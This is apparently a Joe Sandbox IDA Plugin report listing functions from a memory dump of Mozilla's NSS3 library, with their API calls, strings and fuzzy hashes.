Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 8c9b1bfa3401786cfc9ba4c0abb1bf0dff2c062908a6397c7a310693c86ed282
Instruction ID: 1562003b190236d4604c1a220d2b774e997f8b8c1310bf7f3b48acf2e5498275
Opcode Fuzzy Hash: 8c9b1bfa3401786cfc9ba4c0abb1bf0dff2c062908a6397c7a310693c86ed282
Instruction Fuzzy Hash: 55815175A00209ABDB00DFA5EC45AEE7BB5BF0C318F194024E919A3711E731E9A4DBE1

Function 6CAB4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CAB4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CAB4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CAB4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CAB4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CAB4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CAB4E85
DER_Encode_Util.NSS3(?,?,6CC005A4,00000000), ref: 6CAB4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CAB4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CAB4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAB4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAB4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAB4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAB4FC8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 0e6eb11e9ae1131bfa39db85d0560a1fbfe7fe4ea0c8ebc5d68e1b45606e4ad0
Instruction ID: 820cf174c3e6af368e32be4024586fb697b63a40b6b20cef542f999d9bc51e7a
Opcode Fuzzy Hash: 0e6eb11e9ae1131bfa39db85d0560a1fbfe7fe4ea0c8ebc5d68e1b45606e4ad0
Instruction Fuzzy Hash: FE818171A08301AFE701CF24D940B5BB7F8AB84758F18852DF958EB741E771E989CB92

Function 6CAF5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CAF5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CAF5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CAF5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CAF5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CAF5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAF5E18
TlsGetValue.KERNEL32 ref: 6CAF5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CAF5E72
PR_Unlock.NSS3(?), ref: 6CAF5E8B

Part of subcall function 6CAEF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CAEF854
Part of subcall function 6CAEF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CAEF868
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CAEF882
Part of subcall function 6CAEF820: free.MOZGLUE(04C483FF,?,?), ref: 6CAEF889
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CAEF8A4
Part of subcall function 6CAEF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CAEF8AB
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CAEF8C9
Part of subcall function 6CAEF820: free.MOZGLUE(280F10EC,?,?), ref: 6CAEF8D0

Strings

d, xrefs: 6CAF5C36
tokens=[0x%x=<%s>], xrefs: 6CAF5D3D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 84607c5120ab7feb7ad4d24ccbb6a2474831133bd887398e526180543a9c63fb
Instruction ID: 0270b4b7be280e0a21a7fb22fdb3fe2430403acd0a8f88980f8c6f589c73f3f4
Opcode Fuzzy Hash: 84607c5120ab7feb7ad4d24ccbb6a2474831133bd887398e526180543a9c63fb
Instruction Fuzzy Hash: A47117F0E051049BEB009F65ED4576E3675AF4530CF188035F82A9AB42EB32E99BC7D2

Function 6CAE8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAE9582), ref: 6CAE8F5B

Part of subcall function 6CAFBE30: SECOID_FindOID_Util.NSS3(6CAB311B,00000000,?,6CAB311B,?), ref: 6CAFBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CAE8F6A

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAE8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CAE8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBCD820,6CAE9576), ref: 6CAE8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CAE901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CAE903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAE9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CAE90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CAE90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CAE90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAE912D
free.MOZGLUE(00000000), ref: 6CAE9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAE9145

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 253c3c99c0fe655628fae62b0c61d8ed8bbc91ee34ee855ff987288adadfc5d8
Instruction ID: 30a0023a58ec0707d93be211d4931e320c19be3c56eb613444d6174543459f33
Opcode Fuzzy Hash: 253c3c99c0fe655628fae62b0c61d8ed8bbc91ee34ee855ff987288adadfc5d8
Instruction Fuzzy Hash: 8351C3B1A043409BEB00CF28DD81B9B77E8AF98318F094529E954D7741E731E989CBD3

Function 6CA9AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA9AF47

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

FreeLibrary.KERNEL32(?), ref: 6CA9AF6D
free.MOZGLUE(?), ref: 6CA9AFA4
free.MOZGLUE(?), ref: 6CA9AFAA
PR_ExitMonitor.NSS3 ref: 6CA9AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CA9AFF5
PR_ExitMonitor.NSS3 ref: 6CA9B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA9B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CA9B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA9B03C

Strings

%s decr => %d, xrefs: 6CA9AFF0
Unloaded library %s, xrefs: 6CA9B023

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 5db55a4bcaf866444e7567af9ece64415941a2b566868504d0077e786f28b854
Instruction ID: 4e53f672cf125b2c266961e3f696d35067b6ebd4f3f9fdd77e4d38e598d4c5b7
Opcode Fuzzy Hash: 5db55a4bcaf866444e7567af9ece64415941a2b566868504d0077e786f28b854
Instruction Fuzzy Hash: D931E8B5F14110ABEB119F64EC41A59B7F6EB0571CB19412AE80B97E00F733EC98C7A1

Function 6CAE6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAE781D,00000000,6CADBE2C,?,6CAE6B1D,?,?,?,?,00000000,00000000,6CAE781D), ref: 6CAE6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAE781D,?,6CADBE2C,?), ref: 6CAE6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAE781D), ref: 6CAE6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAE6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAE6C96

Part of subcall function 6CA91240: TlsGetValue.KERNEL32(00000040,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91267
Part of subcall function 6CA91240: EnterCriticalSection.KERNEL32(?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA9127C
Part of subcall function 6CA91240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA91291
Part of subcall function 6CA91240: PR_Unlock.NSS3(?,?,?,?,6CA9116C,NSPR_LOG_MODULES), ref: 6CA912A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAE6CAA

Strings

sql:, xrefs: 6CAE6C52
extern:, xrefs: 6CAE6C7E
rdb:, xrefs: 6CAE6C69
dbm:, xrefs: 6CAE6C3A
dbm, xrefs: 6CAE6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CAE6C91

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 7937e5b90e911672aca0677a1681118199727270410d5ee85936369e797df658
Instruction ID: 2c77024e159e784a1c89e8dbca0cb33ea79bca635c9cd98448f726009cbece30
Opcode Fuzzy Hash: 7937e5b90e911672aca0677a1681118199727270410d5ee85936369e797df658
Instruction Fuzzy Hash: 4501F2B170238123F610277B2C4AF66224C9F895ACF180C31FF14F1B82EBA2E55480E5

Function 6CAF4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CAB78F8), ref: 6CAF4E6D

Part of subcall function 6CA909E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CA906A2,00000000,?), ref: 6CA909F8
Part of subcall function 6CA909E0: malloc.MOZGLUE(0000001F), ref: 6CA90A18
Part of subcall function 6CA909E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA90A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CAB78F8), ref: 6CAF4ED9

Part of subcall function 6CAE5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CAE7703,?,00000000,00000000), ref: 6CAE5942
Part of subcall function 6CAE5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAE7703), ref: 6CAE5954
Part of subcall function 6CAE5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAE596A
Part of subcall function 6CAE5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAE5984
Part of subcall function 6CAE5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CAE5999
Part of subcall function 6CAE5920: free.MOZGLUE(00000000), ref: 6CAE59BA
Part of subcall function 6CAE5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CAE59D3
Part of subcall function 6CAE5920: free.MOZGLUE(00000000), ref: 6CAE59F5
Part of subcall function 6CAE5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CAE5A0A
Part of subcall function 6CAE5920: free.MOZGLUE(00000000), ref: 6CAE5A2E
Part of subcall function 6CAE5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CAE5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4EB3

Part of subcall function 6CAF4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAF4EB8,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF484C
Part of subcall function 6CAF4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAF4EB8,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF486D
Part of subcall function 6CAF4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAF4EB8,?), ref: 6CAF4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4EC0

Part of subcall function 6CAF4470: TlsGetValue.KERNEL32(00000000,?,6CAB7296,00000000), ref: 6CAF4487
Part of subcall function 6CAF4470: EnterCriticalSection.KERNEL32(?,?,?,6CAB7296,00000000), ref: 6CAF44A0
Part of subcall function 6CAF4470: PR_Unlock.NSS3(?,?,?,?,6CAB7296,00000000), ref: 6CAF44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CBCDCB0,00000000), ref: 6CAF4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CAF501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CAB78F8), ref: 6CAF506B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: b05f16d259058ad13a88dfad89926a2f7ec9823a84ce149c5898f9931e554a19
Instruction ID: 9fb4597759352890650ce3b7a914d3872e61cef88091555dc6ac3a274d5c8a9e
Opcode Fuzzy Hash: b05f16d259058ad13a88dfad89926a2f7ec9823a84ce149c5898f9931e554a19
Instruction Fuzzy Hash: 1C5124B5A002019FEB119F64ED0169B76B4FF0535CF094534F82A92B01FB32D59ACBD2

Function 6CA9ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9ACE2
malloc.MOZGLUE(00000001), ref: 6CA9ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA9AD02
TlsGetValue.KERNEL32 ref: 6CA9AD3C
calloc.MOZGLUE(00000001,?), ref: 6CA9AD8C
PR_Unlock.NSS3 ref: 6CA9ADC0
free.MOZGLUE(00000000), ref: 6CA9AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA9AE58
free.MOZGLUE(00000000), ref: 6CA9AE69
free.MOZGLUE(?), ref: 6CA9AE78
PR_Unlock.NSS3 ref: 6CA9AE8C
free.MOZGLUE(?), ref: 6CA9AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA9AEC7

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 754b7377ac8eef82e710ccd5a0e598be9c49ca44d85461cd9b17754347fd113d
Instruction ID: ebac9e24fef3e6125f2b24f42f7a51f7c3a16b5b76bead50ca9d580502c4a1be
Opcode Fuzzy Hash: 754b7377ac8eef82e710ccd5a0e598be9c49ca44d85461cd9b17754347fd113d
Instruction Fuzzy Hash: 07519EB0F105258BDB00DF68DC426AEB7F5EB06348F19002AD814A7B10D731ED94CBD2

Function 6CADADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CADADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CADAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CADAE29

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CADAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CADAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CADAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CADAEA0

Strings

C_MessageSignInit, xrefs: 6CADADE1
hSession = 0x%x, xrefs: 6CADAE01, 6CADAE11
hKey = 0x%x, xrefs: 6CADAE62, 6CADAE72
(CK_INVALID_HANDLE), xrefs: 6CADAE1F, 6CADAE80

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 0e520247e7ffbf02060c42b3ea15272b311a00caf5d791ccf4a57b5ac990384e
Instruction ID: 9cb5218115152101a1a6282a35ff13e949476448e3f3800870fb467c60c60547
Opcode Fuzzy Hash: 0e520247e7ffbf02060c42b3ea15272b311a00caf5d791ccf4a57b5ac990384e
Instruction Fuzzy Hash: E2310775700295AFDB009F14DD48BBE3776EB4631DF4A4438E409AB601DF35AD88CB92

Function 6CAD9EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CAD9F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD9F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD9F49

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAD9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CAD9FC0

Strings

C_MessageEncryptInit, xrefs: 6CAD9F01
hSession = 0x%x, xrefs: 6CAD9F21, 6CAD9F31
hKey = 0x%x, xrefs: 6CAD9F82, 6CAD9F92
(CK_INVALID_HANDLE), xrefs: 6CAD9F3F, 6CAD9FA0

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: d749ff0137c078aee5dc7e1ec9942e7d795a89926aa5d80e3182f12fec3a2f97
Instruction ID: a8ce48b26e993a443759d5c2867d854e5e15cabf15ef88883fcbeff561be8cc6
Opcode Fuzzy Hash: d749ff0137c078aee5dc7e1ec9942e7d795a89926aa5d80e3182f12fec3a2f97
Instruction Fuzzy Hash: 2631B775701284ABDB009F24DE98BBE3775EB4631DF0A442CE509A7A41DF35ED88C792

Function 6CB74C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CB74CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB74CFD
sqlite3_value_text16.NSS3(?), ref: 6CB74D44

Strings

out of memory, xrefs: 6CB74C78, 6CB74C9E
no more rows available, xrefs: 6CB74D2E
bad parameter or other API misuse, xrefs: 6CB74D05
API call with %s database connection pointer, xrefs: 6CB74CF6
unknown error, xrefs: 6CB74D56
abort due to ROLLBACK, xrefs: 6CB74D27, 6CB74D33
invalid, xrefs: 6CB74CF1
another row available, xrefs: 6CB74D20

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

